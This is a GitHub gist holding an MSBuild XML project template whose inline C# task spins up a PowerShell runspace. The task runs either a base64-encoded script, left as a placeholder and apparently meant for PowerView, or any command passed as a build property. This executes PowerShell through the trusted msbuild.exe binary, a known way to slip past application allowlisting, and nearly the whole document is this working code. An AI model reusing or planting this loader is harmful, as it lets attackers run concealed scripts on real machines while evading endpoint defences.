Forked from jbarcia/pshell_template_embedded_script.xml
Created
February 2, 2018 22:46
-
-
Save ConsciousHacker/e26265d34af55110a4d1e0ec66992c1b to your computer and use it in GitHub Desktop.
MSBuild Powershell Script XML template
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> | |
<!-- This inline task executes c# code. --> | |
<!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe pshell.xml --> | |
<!-- Author: Casey Smith, Twitter: @subTee --> | |
<!-- License: BSD 3-Clause --> | |
<PropertyGroup> | |
<FunctionName Condition="'$(FunctionName)' == ''">None</FunctionName> | |
<Cmd Condition="'$(Cmd)' == ''">None</Cmd> | |
</PropertyGroup> | |
<Target Name="Hello"> | |
<FragmentExample /> | |
<ClassExample /> | |
</Target> | |
<UsingTask | |
TaskName="FragmentExample" | |
TaskFactory="CodeTaskFactory" | |
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" > | |
<ParameterGroup/> | |
<Task> | |
<Using Namespace="System" /> | |
<Using Namespace="System.IO" /> | |
<Code Type="Fragment" Language="cs"> | |
<![CDATA[ | |
Console.WriteLine("PowerView"); | |
]]> | |
</Code> | |
</Task> | |
</UsingTask> | |
<UsingTask | |
TaskName="ClassExample" | |
TaskFactory="CodeTaskFactory" | |
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" > | |
<Task> | |
<Reference Include="System.Management.Automation" /> | |
<Code Type="Class" Language="cs"> | |
<![CDATA[ | |
using System; | |
using System.IO; | |
using System.Diagnostics; | |
using System.Reflection; | |
using System.Runtime.InteropServices; | |
//Add For PowerShell Invocation | |
using System.Collections.ObjectModel; | |
using System.Management.Automation; | |
using System.Management.Automation.Runspaces; | |
using System.Text; | |
using Microsoft.Build.Framework; | |
using Microsoft.Build.Utilities; | |
public class ClassExample : Task, ITask | |
{ | |
public string funcName = "$(FunctionName)"; | |
public string Cmd = "$(Cmd)"; | |
public override bool Execute() | |
{ | |
string encScript = "ENCODED SCRIPT HERE"; | |
string x = ""; | |
if (funcName != "None") | |
{ | |
byte[] data = Convert.FromBase64String(encScript); | |
string command = Encoding.ASCII.GetString(data); | |
x = command + "\n" + funcName; | |
} | |
else if (Cmd != "None") | |
{ | |
x = Cmd; | |
} | |
else | |
{ | |
return true; | |
} | |
try | |
{ | |
Console.Write(RunPSCommand(x)); | |
} | |
catch (Exception e) | |
{ | |
Console.Write(e.Message); | |
} | |
return true; | |
} | |
//Based on Jared Atkinson's And Justin Warner's Work | |
public static string RunPSCommand(string cmd) | |
{ | |
Runspace runspace = RunspaceFactory.CreateRunspace(); | |
runspace.Open(); | |
RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace); | |
Pipeline pipeline = runspace.CreatePipeline(); | |
pipeline.Commands.AddScript(cmd); | |
pipeline.Commands.Add("Out-String"); | |
Collection<PSObject> results = pipeline.Invoke(); | |
runspace.Close(); | |
StringBuilder stringBuilder = new StringBuilder(); | |
foreach (PSObject obj in results) | |
{ | |
stringBuilder.Append(obj); | |
} | |
return stringBuilder.ToString().Trim(); | |
} | |
public static void RunPSFile(string script) | |
{ | |
PowerShell ps = PowerShell.Create(); | |
ps.AddScript(script).Invoke(); | |
} | |
} | |
]]> | |
</Code> | |
</Task> | |
</UsingTask> | |
</Project> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment